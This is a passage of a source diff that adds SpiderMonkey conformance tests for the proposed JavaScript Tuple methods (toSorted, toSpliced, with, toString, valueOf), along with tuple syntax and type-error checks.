+var thisVals = [[undefined, "undefined"],
+ [null, "null"],
+ [42, "42"],
+ ["1", "1"],
+ [true, "true"],
+ [false, "false"],
+ [Symbol("s"), "Symbol(\"s\")"],
+ [[], "[]"],
+ [{}, "{}"]];
+
+for (pair of thisVals) {
+ thisVal = pair[0];
+ errorMsg = "this is: " + pair[1];
+ assertThrowsInstanceOf(() => withSorted.call(thisVal),
+ TypeError, errorMsg);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/toSorted.js b/js/src/tests/non262/Tuple/prototype/toSorted/toSorted.js
new file mode 100644
index 0000000000..c2d90f06f6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/toSorted.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.29 Tuple.prototype.toSorted ( compareFn )
+Except as described below, implements the same requirements as those of Array.prototype.sort as defined in 22.1.3.27. The implementation may be optimized with the knowledge that the this value is an object that has a fixed length and whose integer-indexed properties are not sparse.
+
+Upon entry, the following steps are performed to initialize evaluation of the sorted function. These steps are used instead of the entry steps in 22.1.3.27:
+
+1. If comparefn is not undefined and IsCallable(comparefn) is false, throw a TypeError exception.
+2. Let T be ? thisTupleValue(this value).
+3. Let list be a new List containing the elements of T.[[Sequence]].
+4. Let len be the length of list.
+A new Tuple containing the elements from the original Tuple is returned, where the elements are sorted. The sort order is the ordering, after completion of this function, of the elements of list. The sort order of the result of sorted is the same order as if the elements of list were sorted in an Array via %Array.prototype.sort% with comparefn as the first argument.
+
+*/
+/* Step 2 */
+/* toSorted() should throw on a non-Tuple */
+let method = Tuple.prototype.toSorted;
+assertEq(method.call(#[6,5,4,3,2,1]), #[1,2,3,4,5,6]);
+assertEq(method.call(Object(#[6,5,4,3,2,1])), #[1,2,3,4,5,6]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(#[5,4,3,2,1].toSorted(), #[1,2,3,4,5]);
+
+/* Step 1. If comparefn is not undefined... */
+assertEq(#[5,4,3,2,1].toSorted(), #[1,2,3,4,5]);
+assertEq(#[5,4,3,2,1].toSorted(undefined), #[1,2,3,4,5]);
+assertThrowsInstanceOf(() => #[1].toSorted("monkeys"), TypeError,
+ "bad comparefn passed to toSorted");
+let comparefn = (x, y) => x < y;
+assertEq(#[1,2,3,4,5].toSorted(comparefn), #[5,4,3,2,1]);
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/toSortedcompare-with-no-tostring.js b/js/src/tests/non262/Tuple/prototype/toSorted/toSortedcompare-with-no-tostring.js
new file mode 100644
index 0000000000..68b5774d61
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/toSortedcompare-with-no-tostring.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* description: Tuple toSorted does cast values to String */
+
+var toStringCalled = false;
+Number.prototype.toString = function() {
+ toStringCalled = true;
+}
+
+let sample = #[20, 100, 3];
+let result = sample.toSorted();
+assertEq(toStringCalled, false);
+assertEq(result, #[100, 20, 3]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSorted/tuplelength-internal.js b/js/src/tests/non262/Tuple/prototype/toSorted/tuplelength-internal.js
new file mode 100644
index 0000000000..8353eaea11
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSorted/tuplelength-internal.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Use internal length rather than getting a length property */
+var getCalls = 0;
+var desc = {
+ get: function getLen() {
+ getCalls++;
+ return 0;
+ }
+};
+
+var internalLength = Object.getOwnPropertyDescriptor(Tuple.prototype, "length").get;
+Object.defineProperty(Tuple.prototype, "length", desc);
+
+let sample = #[42,42,42];
+
+getCalls = 0;
+
+var result = sample.toSorted();
+
+assertEq(getCalls, 0)
+assertEq(result, sample);
+assertEq(result[0], sample[0]);
+assertEq(result[1], sample[1]);
+assertEq(result[2], sample[2]);
+assertEq(result.length, 0);
+assertEq(internalLength.call(result), 3);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSpliced/indexed-setters.js b/js/src/tests/non262/Tuple/prototype/toSpliced/indexed-setters.js
new file mode 100644
index 0000000000..ce2fc39954
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSpliced/indexed-setters.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+// If an indexed Array setter is overridden, TupleSplice shouldn't use it
+// when constructing the intermediate array
+
+var z = 5;
+print("1111");
+Object.defineProperty(Array.prototype, '0', { set: function(y) { z = 42; }});
+print("2222");
+let newT = #[1,2,3].toSpliced(0, 2);
+print("3333");
+assertEq(z, 5);
+print("4444");
+
+reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/Tuple/prototype/toSpliced/length.js b/js/src/tests/non262/Tuple/prototype/toSpliced/length.js
new file mode 100644
index 0000000000..a95d957533
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSpliced/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toSpliced, "length");
+assertEq(desc.value, 2);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toSpliced, "name");
+assertEq(desc.value, "toSpliced");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "toSpliced");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.toSpliced), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.toSpliced();
+}, TypeError, '`let t = #[1]; new t.toSpliced()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toSpliced/toSpliced.js b/js/src/tests/non262/Tuple/prototype/toSpliced/toSpliced.js
new file mode 100644
index 0000000000..dd5ccdfcbf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toSpliced/toSpliced.js
@@ -0,0 +1,254 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.30 Tuple.prototype.toSpliced ( start, deleteCount, ...items )
+When the toSpliced method is called with two or more arguments start, deleteCount and zero or more items, a new Tuple is returned where the deleteCount elements of the Tuple starting at integer index start are replaced by the arguments items.
+
+The following steps are taken:
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be T.[[Sequence]].
+3. Let len be the number of elements in list.
+4. Let relativeStart be ? ToInteger(start).
+5. If relativeStart < 0, let actualStart be max((len + relativeStart), 0); else let actualStart be min(relativeStart, len).
+6. If the number of actual arguments is 0, then
+a. Let insertCount be 0.
+b. Let actualDeleteCount be 0.
+7. Else if the number of actual arguments is 1, then
+a. Let insertCount be 0.
+b. Let actualDeleteCount be len - actualStart.
+8. Else,
+a. Let insertCount be the number of actual arguments minus 2.
+b. Let dc be ? ToInteger(deleteCount).
+c. Let actualDeleteCount be min(max(dc, 0), len - actualStart).
+9. If len + insertCount - actualDeleteCount > 253 - 1, throw a TypeError exception.
+10. Let k be 0.
+11. Let items be a List whose elements are, in left to right order, the portion of the actual argument list starting with the third argument. The list is empty if fewer than three arguments were passed.
+12. Let itemCount be the number of elements in items.
+13. Let newList be a new empty List.
+14. Repeat, while k < actualStart,
+a. Let E be list[k].
+b. Append E to the end of list newList.
+c. Set k to k + 1.
+15. Let itemK be 0.
+16. Repeat, while itemK < itemCount.
+a. Let E be items[itemK].
+b. If Type(E) is Object, throw a TypeError exception.
+c. Append E to the end of newList.
+d. Set itemK to itemK + 1.
+17. Set k to actualStart + actualDeleteCount.
+18. Repeat, while k < len,
+a. Let E be list[k].
+b. Append E to the end of newList.
+c. Set k to k + 1.
+19. Return a new Tuple value whose [[Sequence]] is newList.
+*/
+/* Step 1 */
+/* toSpliced() should throw on a non-Tuple */
+let method = Tuple.prototype.toSpliced;
+assertEq(method.call(#[1,2,3,4,5,6], 2, 3), #[1,2,6]);
+assertEq(method.call(Object(#[1,2,3,4,5,6]),2,3), #[1,2,6]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(true), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(false), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* method does not access constructor */
+var t = #[];
+t.constructor = null;
+var result = t.toSpliced(0, 0);
+assertEq(result, #[]);
+assertEq(Object.getPrototypeOf(result), Tuple.prototype);
+
+/* Step 3 */
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(#[1,2,3,4,5].toSpliced(1, 2), #[1,4,5]);
+
+var tup = #[1,2,3];
+var len = 3;
+/* Step 4 -- toInteger returns 0 for non-integers */
+assertEq(tup.toSpliced("monkeys", 2), tup.toSpliced(0, 2));
+assertEq(tup.toSpliced(undefined, 2), tup.toSpliced(0, 2));
+assertEq(tup.toSpliced(undefined), tup.toSpliced(0, len));
+assertEq(tup.toSpliced(), tup.slice(0));
+
+/* Step 5 */
+/* relativeStart < 0, len + relativeStart > 0 */
+var relativeStart = -1;
+var result = tup.toSpliced(relativeStart, 1);
+assertEq(result, tup.toSpliced(len + relativeStart, 1));
+assertEq(result, #[1,2]);
+/* relativeStart < 0, len + relativeStart < 0 */
+relativeStart = -4;
+result = tup.toSpliced(relativeStart, 1);
+assertEq(result, tup.toSpliced(0, 1));
+assertEq(result, #[2,3]);
+/* relativeStart < 0, len + relativeStart === 0 */
+relativeStart = -3;
+result = tup.toSpliced(relativeStart, 1);
+assertEq(result, tup.toSpliced(0, 1));
+/* relativeStart === 0 */
+relativeStart = 0;
+result = tup.toSpliced(relativeStart, 2);
+assertEq(result, #[3]);
+/* relativeStart > 0, relativeStart < len */
+relativeStart = 2;
+result = tup.toSpliced(relativeStart, 1);
+assertEq(result, #[1,2]);
+/* relativeStart > 0, relativeStart > len */
+relativeStart = 5;
+result = tup.toSpliced(relativeStart, 1);
+assertEq(result, tup.toSpliced(len, 1));
+assertEq(result, tup);
+/* relativeStart > 0, relativeStart === len */
+relativeStart = len;
+result = tup.toSpliced(relativeStart, 1);
+assertEq(result, tup);
+
+/* Step 6 - no arguments */
+result = tup.toSpliced();
+assertEq(result, tup.toSpliced(0, 0));
+assertEq(result, tup);
+
+/* Step 7 -- 1 argument */
+result = tup.toSpliced(1);
+assertEq(result, tup.toSpliced(1, len - 1));
+assertEq(result, #[1]);
+
+/* Step 8 */
+/* 2 arguments */
+/* insertCount = 0 */
+/* (a) deleteCount = non-integer */
+assertEq(tup.toSpliced(1, "monkeys"), tup.toSpliced(1, 0));
+assertEq(tup.toSpliced(1, undefined), tup.toSpliced(1, 0));
+assertEq(tup.toSpliced(1, true), tup.toSpliced(1, 1));
+/* (b) deleteCount < 0, len - actualStart > 0 */
+result = tup.toSpliced(1, -1);
+assertEq(result, tup.toSpliced(1, 0));
+assertEq(result, tup);
+/* (c) deleteCount < 0, len - actualStart === 0 */
+result = tup.toSpliced(3, -1);
+assertEq(result, tup.toSpliced(3, 0));
+assertEq(result, tup);
+/* (d) deleteCount < 0, len - actualStart < 0 */
+/* Step 5 guarantees this case can't happen */
+/* (e) deleteCount === 0 */
+assertEq(tup.toSpliced(1, 0), tup);
+/* (f) deleteCount > 0, deleteCount < (len - actualStart) */
+var tup2 = #[1,2,3,4,5];
+var tup2_len = 5;
+result = tup2.toSpliced(1, 3);
+assertEq(result, #[1, 5]);
+/* (g) deleteCount > 0, deleteCount > (len - actualStart) */
+var actualStart = 3;
+result = tup2.toSpliced(actualStart, 4);
+assertEq(result, tup2.toSpliced(actualStart, tup2_len - actualStart));
+assertEq(result, #[1,2,3]);
+/* 3 arguments */
+assertEq(tup2.toSpliced(1, "bunnies", "monkeys"), tup2.toSpliced(1, 0, "monkeys")); // (a)
+assertEq(tup2.toSpliced(1, -1, "monkeys"), tup2.toSpliced(1, 0, "monkeys")); // (b)
+assertEq(tup2.toSpliced(tup2_len, -1, "monkeys"), tup2.toSpliced(tup2_len, 0, "monkeys")); // (c)
+assertEq(tup2.toSpliced(2, 0, "monkeys"), #[1, 2, "monkeys", 3, 4, 5]); // (e)
+assertEq(tup2.toSpliced(1, 3, "monkeys"), #[1, "monkeys", 5]); // (f)
+assertEq(tup2.toSpliced(3, 4, "monkeys"), #[1, 2, 3, "monkeys"]); // (g)
+/* 4 arguments */
+assertEq(tup2.toSpliced(1, "monkeys", 42, 17), tup2.toSpliced(1, 0, 42, 17)); // (a)
+assertEq(tup2.toSpliced(1, -1, 42, 17), tup2.toSpliced(1, 0, 42, 17)); // (b)
+assertEq(tup2.toSpliced(tup2_len, -1, 42, 17), tup2.toSpliced(tup2_len, 0, 42, 17)); // (c)
+assertEq(tup2.toSpliced(2, 0, 42, 17), #[1, 2, 42, 17, 3, 4, 5]); // (e)
+assertEq(tup2.toSpliced(1, 3, 42, 17), #[1, 42, 17, 5]); // (f)
+assertEq(tup2.toSpliced(3, 4, 42, 17), #[1, 2, 3, 42, 17]); // (g)
+
+/* Step 9 */
+/* If len + insertCount - actualDeleteCount > 2^53 - 1, throw a TypeError exception.
+ Not sure how to test the error case without constructing a tuple with length 2^53 */
+
+/* Steps 14-18 */
+/* each combination of:
+ actualStart = 0, actualStart = 1, actualStart = 4
+ itemCount = 0, itemCount = 1, itemCount = 4
+ actualStart + actualDeleteCount = len, actualStart + actualDeleteCount < len */
+
+/* actualStart = 0, itemCount = 0, actualDeleteCount = len */
+var tup = #[1,2,3,4,5,6];
+var len = 6;
+var actualStart;
+var actualDeleteCount;
+actualStart = 0;
+actualDeleteCount = len;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[]);
+
+/* actualStart = 0, itemCount = 1, actualDeleteCount = len */
+actualStart = 0;
+actualDeleteCount = len;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #["monkeys"]);
+
+/* actualStart = 0, itemCount = 4, actualDeleteCount = len */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "a", "b", "c", "d"), #["a", "b", "c", "d"]);
+
+/* actualStart = 0, itemCount = 0, actualDeleteCount < len */
+actualDeleteCount = 3;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[4, 5, 6]);
+
+/* actualStart = 0, itemCount = 1, actualDeleteCount < len */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #["monkeys", 4, 5, 6]);
+
+/* actualStart = 0, itemCount = 4, actualDeleteCount < len */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, 42, 43, 44, 45), #[42, 43, 44, 45, 4, 5, 6]);
+
+/* actualStart = 1, itemCount = 0, actualDeleteCount = len - 1 */
+actualStart = 1;
+actualDeleteCount = len - 1;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[1]);
+
+/* actualStart = 1, itemCount = 1, actualDeleteCount = len - 1 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #[1, "monkeys"]);
+
+/* actualStart = 1, itemCount = 4, actualDeleteCount = len - 1 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, 0.0, 0.1, 0.2, 0.3), #[1, 0.0, 0.1, 0.2, 0.3]);
+
+/* actualStart = 1, itemCount = 0, actualDeleteCount < len - 1 */
+actualDeleteCount = 1;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[1, 3, 4, 5, 6]);
+
+/* actualStart = 1, itemCount = 1, actualDeleteCount < len - 1 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #[1, "monkeys", 3, 4, 5, 6]);
+
+/* actualStart = 1, itemCount = 4, actualDeleteCount < len - 1 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, 8, 9, 10, 11), #[1, 8, 9, 10, 11, 3, 4, 5, 6]);
+
+/* actualStart = 4, itemCount = 0, actualDeleteCount = len - 4 */
+actualStart = 4;
+actualDeleteCount = len - 4;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[1, 2, 3, 4]);
+
+/* actualStart = 4, itemCount = 1, actualDeleteCount = len - 4 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #[1, 2, 3, 4, "monkeys"]);
+
+/* actualStart = 4, itemCount = 4, actualDeleteCount = len - 4 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, 0, -1, -2, -3), #[1, 2, 3, 4, 0, -1, -2, -3]);
+
+/* actualStart = 4, itemCount = 0, actualDeleteCount < len - 4 */
+actualDeleteCount = 1;
+assertEq(tup.toSpliced(actualStart, actualDeleteCount), #[1, 2, 3, 4, 6]);
+
+/* actualStart = 4, itemCount = 1, actualDeleteCount < len - 4 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "monkeys"), #[1, 2, 3, 4, "monkeys", 6]);
+
+/* actualStart = 4, itemCount = 4, actualDeleteCount < len - 4 */
+assertEq(tup.toSpliced(actualStart, actualDeleteCount, "p", "q", "r", "s"), #[1, 2, 3, 4, "p", "q", "r", "s", 6]);
+
+/* Step 16.b -- item is Object */
+assertThrowsInstanceOf(() => tup.toSpliced(actualStart, actualDeleteCount, []),
+ TypeError, "Tuple can't contain Object");
+assertThrowsInstanceOf(() => tup.toSpliced(actualStart, actualDeleteCount, [], 2, 3),
+ TypeError, "Tuple can't contain Object");
+assertThrowsInstanceOf(() => tup.toSpliced(actualStart, actualDeleteCount, 2, new Object(), 3),
+ TypeError, "Tuple can't contain Object");
+assertThrowsInstanceOf(() => tup.toSpliced(actualStart, actualDeleteCount, 2, 3, {"a": "b"}),
+ TypeError, "Tuple can't contain Object");
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toString/length.js b/js/src/tests/non262/Tuple/prototype/toString/length.js
new file mode 100644
index 0000000000..1a12340df3
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toString/length.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+var desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toString, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype.toString, "name");
+assertEq(desc.value, "toString");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+desc = Object.getOwnPropertyDescriptor(Tuple.prototype, "toString");
+assertEq(desc.writable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.prototype.toString), false);
+
+assertThrowsInstanceOf(() => {
+ let t = #[1];
+ new t.toString();
+}, TypeError, '`let t = #[1]; new t.toString()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/toString/to-string.js b/js/src/tests/non262/Tuple/prototype/toString/to-string.js
new file mode 100644
index 0000000000..e600ca78a2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/toString/to-string.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/* Step 1 */
+/* toString() should throw on a non-Tuple */
+let method = Tuple.prototype.toString;
+assertEq(method.call(#[1,2,3,4,5,6]), "1,2,3,4,5,6");
+assertEq(method.call(Object(#[1,2,3,4,5,6])), "1,2,3,4,5,6");
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+
+// Normal case
+assertEq(#[].toString(), "");
+assertEq(#[1].toString(), "1");
+assertEq(#[1,2].toString(), "1,2");
+
+// if join method isn't callable, Object.toString should be called
+Tuple.prototype.join = 7;
+var t = #[1,2,3];
+assertEq(t.toString(), "[object Tuple]");
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/valueOf/length.js b/js/src/tests/non262/Tuple/prototype/valueOf/length.js
new file mode 100644
index 0000000000..1865563514
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/valueOf/length.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+var desc = Object.getOwnPropertyDescriptor(Tuple.valueOf, "length");
+assertEq(desc.value, 0);
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+assertEq(isConstructor(Tuple.valueOf), false);
+
+assertThrowsInstanceOf(() => {
+ new Tuple.valueOf([]);
+}, TypeError, '`new Tuple.valueOf()` throws TypeError');
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/valueOf/name.js b/js/src/tests/non262/Tuple/prototype/valueOf/name.js
new file mode 100644
index 0000000000..b20e121479
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/valueOf/name.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+desc = Object.getOwnPropertyDescriptor(Tuple.valueOf, "name");
+assertEq(desc.value, "valueOf");
+assertEq(desc.writable, false);
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/valueOf/valueOf.js b/js/src/tests/non262/Tuple/prototype/valueOf/valueOf.js
new file mode 100644
index 0000000000..967f7fac3c
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/valueOf/valueOf.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.3 Tuple.prototype.valueOf ( )
+When the valueOf function is called, the following steps are taken:
+
+1. Return ? thisTupleValue(this value).
+*/
+
+var valueOf = Tuple.prototype.valueOf;
+assertEq(typeof valueOf, 'function');
+
+var tup = #[1,2,3];
+assertEq(valueOf.call(tup), tup);
+assertEq(valueOf.call(Object(tup)), tup);
+assertThrowsInstanceOf(() => valueOf.call("monkeys"), TypeError,
+ "this is not Tuple");
+assertThrowsInstanceOf(() => valueOf.call({}), TypeError,
+ "this is not Tuple");
+assertThrowsInstanceOf(() => valueOf.call(new Object(1)), TypeError,
+ "this is not Tuple");
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/prototype/with/with.js b/js/src/tests/non262/Tuple/prototype/with/with.js
new file mode 100644
index 0000000000..d4f8c4d62b
--- /dev/null
+++ b/js/src/tests/non262/Tuple/prototype/with/with.js
@@ -0,0 +1,68 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+8.2.3.31 Tuple.prototype.with ( index, value )
+When the with method is called with two arguments, it returns a new Tuple with the element at index index replaced with value value.
+
+1. Let T be ? thisTupleValue(this value).
+2. Let list be a new List containing the elements of T.[[Sequence]].
+3. Let length be the length of list list.
+4. Let I be ? ToIndex(index).
+5. If I ≥ length, throw a RangeError exception.
+6. If Type(value) is Object, throw a TypeError exception.
+7. Set list[I] to value.
+8. Return a new Tuple value whose [[Sequence]] is list.
+*/
+/* Step 1 */
+/* with() should throw on a non-Tuple */
+let method = Tuple.prototype.with;
+assertEq(method.call(#[1,2,3], 1, "monkeys"), #[1, "monkeys", 3]);
+assertEq(method.call(Object(#[1,2,3]), 1, "monkeys"), #[1, "monkeys", 3]);
+assertThrowsInstanceOf(() => method.call("monkeys"), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(true), TypeError,
+ "value of TupleObject must be a Tuple");
+assertThrowsInstanceOf(() => method.call(false), TypeError,
+ "value of TupleObject must be a Tuple");
+
+/* method does not access constructor */
+var t = #[1];
+t.constructor = null;
+var result = t.with(0, 0);
+assertEq(result, #[0]);
+assertEq(Object.getPrototypeOf(result), Tuple.prototype);
+
+/* Step 3 */
+/* Test that length is still handled correctly if it's overridden */
+Object.defineProperty(Tuple.prototype, "length", { get() { return 0 } })
+assertEq(#[1,2,3,4,5].with(1, 5), #[1,5,3,4,5]);
+
+var tup = #[1,2,3];
+var len = 3;
+/* Step 4 -- toIndex returns 0 for non-integers */
+assertEq(tup.with("monkeys", 2), tup.with(0, 2));
+assertEq(tup.with(undefined, 2), tup.with(0, 2));
+assertEq(tup.with(undefined), tup.with(0, undefined));
+assertEq(tup.with(), tup.with(0, undefined));
+
+/* Step 5 */
+assertThrowsInstanceOf(() => tup.with(-5, "monkeys"),
+ RangeError, "index out of range");
+assertThrowsInstanceOf(() => tup.with(Number.MAX_SAFE_INTEGER, "monkeys"),
+ RangeError, "index out of range");
+assertThrowsInstanceOf(() => tup.with(len + 5, "monkeys"),
+ RangeError, "index out of range");
+
+/* Step 6 -- item is Object */
+assertThrowsInstanceOf(() => tup.with(1, []),
+ TypeError, "Tuple can't contain Object");
+assertThrowsInstanceOf(() => tup.with(0, new Object()),
+ TypeError, "Tuple can't contain Object");
+assertThrowsInstanceOf(() => tup.with(2, {'a': 'b'}),
+ TypeError, "Tuple can't contain Object");
+
+/* Step 8 */
+assertEq(tup.with(0, "monkeys"), #["monkeys", 2, 3]);
+assertEq(tup.with(1, #['a', 'b', 'c']), #[1, #['a', 'b', 'c'], 3]);
+assertEq(tup.with(2, 42), #[1, 2, 42]);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/shell.js b/js/src/tests/non262/Tuple/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Tuple/shell.js
diff --git a/js/src/tests/non262/Tuple/syntax.js b/js/src/tests/non262/Tuple/syntax.js
new file mode 100644
index 0000000000..826e8adbdf
--- /dev/null
+++ b/js/src/tests/non262/Tuple/syntax.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+
+Reflect.parse("#[]");
+Reflect.parse("#[ foo ]");
+Reflect.parse("#[ foo, ]");
+Reflect.parse("#[ foo, bar ]");
+Reflect.parse("#[ foo, ...bar ]");
+Reflect.parse("#[ foo, ...bar, ]");
+Reflect.parse("#[ foo, ...bar, baz ]");
+Reflect.parse("#[ foo() ]");
+
+assertThrowsInstanceOf(() => Reflect.parse("#[,]"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#[ foo, , bar ]"), SyntaxError);
+assertThrowsInstanceOf(() => Reflect.parse("#[ foo ] = bar"), SyntaxError);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/type-errors.js b/js/src/tests/non262/Tuple/type-errors.js
new file mode 100644
index 0000000000..2b5373a3a6
--- /dev/null
+++ b/js/src/tests/non262/Tuple/type-errors.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.hasOwnProperty("Tuple"))
+/*
+3.1.2 ToNumber ( argument )
+The abstract operation ToNumber takes argument argument. It converts argument to a value of type Number according to Table 2:
+
+...
+Tuple Throw a TypeError exception.
+...
+*/
+assertThrowsInstanceOf(() => #[1, 2] + 3, TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => 3 + #[1, 2], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => 3 - #[1, 2], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => 3 * #[1, 2], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => 3 / #[1, 2], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => #[1, 2] > #[1, 3], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => #[1, 2] < #[1, 3], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => #[1, 2] >= #[1, 3], TypeError,
+ "cannot convert record or tuple to number");
+assertThrowsInstanceOf(() => #[1, 2] <= #[1, 3], TypeError,
+ "cannot convert record or tuple to number");
+
+
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Tuple/wrapper.js b/js/src/tests/non262/Tuple/wrapper.js
new file mode 100644
index 0000000000..3cb0a42154
--- /dev/null
+++ b/js/src/tests/non262/Tuple/wrapper.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!this.hasOwnProperty("Record"))
+
+var boxO = Object(#[1, 2, 3]);
+
+assertEq(Object.isExtensible(boxO), false);
+assertEq(Object.isSealed(boxO), true);
+assertEq(Object.isFrozen(boxO), true);
+
+boxO[0] = 3;
+assertEq(boxO[0], 1);
+assertThrowsInstanceOf(() => { "use strict"; boxO[0] = 3; }, TypeError);
+assertEq(boxO[0], 1);
+
+boxO[4] = 3;
+assertEq(boxO[4], undefined);
+assertThrowsInstanceOf(() => { "use strict"; boxO[4] = 3; }, TypeError);
+assertEq(boxO[4], undefined);
+
+assertThrowsInstanceOf(() => { Object.defineProperty(boxO, "0", { value: 3 }); }, TypeError);
+assertEq(boxO[0], 1);
+
+assertThrowsInstanceOf(() => { Object.defineProperty(boxO, "4", { value: 3 }); }, TypeError);
+assertEq(boxO[4], undefined);
+
+if (typeof reportCompare === "function") reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js b/js/src/tests/non262/TypedArray/Tconstructor-fromTypedArray-byteLength.js
new file mode 100644
index 0000000000..6aadca5c81
--- /dev/null
